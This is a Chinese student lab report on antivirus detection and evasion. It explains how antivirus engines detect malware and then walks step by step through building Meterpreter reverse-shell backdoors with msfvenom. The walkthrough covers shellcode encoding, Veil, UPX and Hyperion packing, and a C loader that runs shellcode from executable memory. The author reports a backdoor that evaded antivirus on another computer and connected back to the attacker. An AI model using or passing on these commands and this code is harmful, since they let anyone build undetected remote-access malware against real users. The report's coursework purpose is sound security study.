一、实验原理
(一)恶意软件检测机制
1.基于特征码的检测
“特征码”是一段数据,杀毒软件可以根据这段数据,判断某个文件是否含有恶意代码。也就是说“特征码”可以理解为此文件含恶意代码的标志,检测到了“特征码”就可以把此文件当做恶意文件处理。
2.启发式恶意软件检测
对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。
优点:
-
- 可以检测0-day恶意软件
- 具有一定通用性
缺点:
-
- 实时监控系统行为,开销稍多
- 没有基于特征码的精确度高
3.基于行为的恶意软件机制
从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
(二)免杀技术(Evading AV)综述
- 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
二、实验过程
(一)正确使用msf编码器
1.将实验二中生成的后门文件上传到VirusTotal和Virscan两个网站进行扫描,查看有多少杀毒软件可以成功检测出恶意代码。
在VirusTotal上的扫描结果如下图所示:
在VirSCAN上扫描结果如下图所示:
2.使用msf编码
kali端输入命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.128 LPORT=4312 -f exe > backdoor1.exe ,结果如下图
参数说明:
-p 指定payload
-e 编码器
-b 在生成的程序中避免出现的值
-f 生成的文件格式
-i 编码次数
-LHOST&LPORT 攻击者的ip和端口
在VirusTotal上检测:(结果如下)
尝试使用加入-i参数多次迭代(-i后面的数字表示迭代次数),输入命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.1.128 LPORT=4312 -f exe > backdoor2.exe ,结果如下:
在VirusTotal上检测:
(二)msfvenom生成如jar之类的其他文件
1.生成jar文件
输入命令 msfvenom -p java/meterpreter/reverse_tcp msfvenom -p java/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.1.128 LPORT=4312 x> 20174312_backdoor.jar
在VirusTotal上检测:
2.生成php文件
输入命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=4312 x> 4312_backdoor.php
在VirusTotal上检测:
(三)veil的安装和使用
1.veil的安装
veil是一个免杀平台,在kali软件库中有,但是默认没装。需要自行安装。
参考同学博客,找到以下方法安装veil。(我使用的是阿里云的kali源)。
更改源:输入 sudo vi /etc/apt/sources.list ,打开此文件编辑,在后面加上阿里云源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
安装veil:输入以下两个命令
sudo apt-get update sudo apt-get install -y veil-evasion
输入 veil ,并选择yes
之后几乎都是选next,直到报错:
解决办法:将/var/lib/veil/wine/drive_c/Program Files (x86)
下的AutoIt3
文件夹拷贝到/var/lib/veil/wine/drive_c/Program Files下
在终端中输入
veil可以成功运行。
2.veil的使用
输入 use evasion ,进入veil-evasion
输入 use c/meterpreter/rev_tcp.py ,进入配置界面(注意红框内容,后面会有对比):
设置ip地址和端口号(此处的ip地址为kali的ip地址):
set LHOST 192.168.1.128 set LPORT 4312
查看红框内变化,说明设置成功:
输入 generate 生成文件,接着输入你想要的文件名(此处出现没有权限的问题,详情见实验总结里的问题总结),并且可以看到文件保存路径:
在VirusTotal上检测:
(四)加壳工具
1.理解加壳
- 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
- 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
- 加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
- 这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
- MSF的编码器使用类似方法,对shellcode进行再编码。
- 从技术上分壳分为:
-
- 压缩壳
- 减少应用体积,如ASPack,UPX
- 加密壳
- 版权保护,反跟踪。如ASProtect,Armadillo
- 虚拟机
- 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida
- 压缩壳
2.使用加壳工具
(1)使用UPX加壳:
输入 cd /var/lib/veil/output/compiled/,进入veil平台生成文件【veil_4312.exe】所在目录
输入 upx veil_4312.exe -o upx_4312.exe ,将veil平台生成的文件加壳:
使用实验二的方法,检查是否能成功反弹连接:(成功)
在VirusTotal上检测:
(2)使用Hyperion:
输入 cd /var/lib/veil/output/compiled/ ,进入veil平台生成文件【veil_4312.exe】所在目录
输入 cp veil_4312.exe /usr/share/windows-resources/hyperion/veril_4312.exe ,将要加壳的文件拷贝到目录 /usr/share/windows-resources/hyperion下
输入 cd /usr/share/windows-resources/hyperion/ ,进入hyperion.exe所在的文件夹
输入 sudo wine hyperion.exe -v veril_4312.exe hyperion_4312.exe ,对文件加壳
注:如果第四步不加sudo可能出现如下图所示错误
经测试可反弹连接到kali。(有被360检测出来)
在virustotal上检测:
(五)使用C + shellcode编程
输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=4312 -f c ,获得一段shellcode
创建后缀名为.c的文件(此次实验中创建的为3_4312.c),将已生成的shellcode加入,并且用C语言写出可以用调用shellcode的函数:
输入 i686-w64-mingw32-g++ 3_4312.c -o 3_4312.exe ,将文件格式转化为exe
检测:
(六)使用其他课堂未介绍方法
使用veil平台,换一种新payload生成后门。输入命令:
veil //进入veil use evasion //使用evasion list //查看有什么payload use 37 //选择使用哪一个payload,本次选择的是37,之后配置ip地址和端口号 options //查看 generate //生成文件
关于最后无法生成output的原因,我觉得可能是因为选择的payload,用这种语言写的payload在veil里面的插件不全,所以无法生成exe。
检测后缀名为.rb的文件:
(七) 通过组合应用各种技术实现恶意代码免杀
使用的方式是c+shellcode+加压缩壳+加密壳
1.在kali端输入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.1.128 lport=4312 -f c ,生成一段shellcode
2.写一个.c文件,代码如下:
#include#include #include <string.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口 unsigned char buf[] = "shellcode"; main() { char *Memory; Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, buf, sizeof(buf)); ((void(*)())Memory)(); }
3.将shellcode写入.c文件,并且将文件格式转为exe
4.运行此exe文件,杀软没有报错(检查结果如下图,【2.exe】文件就是含恶意代码的文件),且能成功回连
(八)用另一电脑实测
1.在kali上,对实验过程的第七步——“通过组合应用各种技术实现恶意代码免杀”,生成的含恶意代码的名为【2.exe】文件,先使用upx加压缩壳,再使用hyperion加加密壳
2.在另一个电脑实测,杀软并未检测到恶意代码
三、实验总结
1.实验体会
总体感觉实验还是比较顺利的,即使遇到了点麻烦。通过此次实验,使我对课堂上学过的知识更加熟悉,对恶意代码的检测有了更深刻了解,对使用生成后门的工具更加熟练。
还有一个感受就是,恶意代码是防不胜防的。总有办法可以进入你的计算机。
2.开启杀软能绝对防止电脑中恶意代码吗?
答:不能。因为很多软件的恶意代码检测功能是基于已有的恶意代码库实现的,虽然也有能检测出0-day恶意代码的软件,但是毕竟人类的智慧是无穷的,总能不断创造出不被杀毒软件发现的恶意代码。
3.基础问题回答
(1)杀软是如何检测出恶意代码的?
答:杀软检测出恶意代码的依据有三种。
一是基于特征码的检测:如果一个文件含有恶意软件的一段或者多段“标志性”代码,就可以认为此文件是恶意的。
二是启发式恶意软件检测:如果一个文件做了很像恶意软件才会做的事,比如连接恶意网站、开放端口等,就可以把它当成恶意软件看待。
三是基于行为的恶意软件检测:从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
(2)免杀是做什么?
答:免杀是指通过对恶意代码的处理,使其不被杀毒软件发现或删除。
(3)免杀的基本方法有哪些?
答:根据杀软检测恶意代码的原理,有一些免杀的基本方法。
一是改变特征码:如果杀软检测不到特征码,可能就发现不了此文件是否含恶意代码。具体方式的话是看手里有什么,只有exe文件的话,可以通过加壳,有shellcode的话,可以用encode进行编码或者基于payload重新编译生成可执行文件,有源代码则可以用其他语言进行重写再编译。
二是改变行为:使杀软察觉不到文件的行为是异常的,从而使其允许运行。具体方式包括改变通讯方式,如尽量使被攻击者反弹连接、使用隧道技术、加密通讯数据,和改变操作模式,如基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码。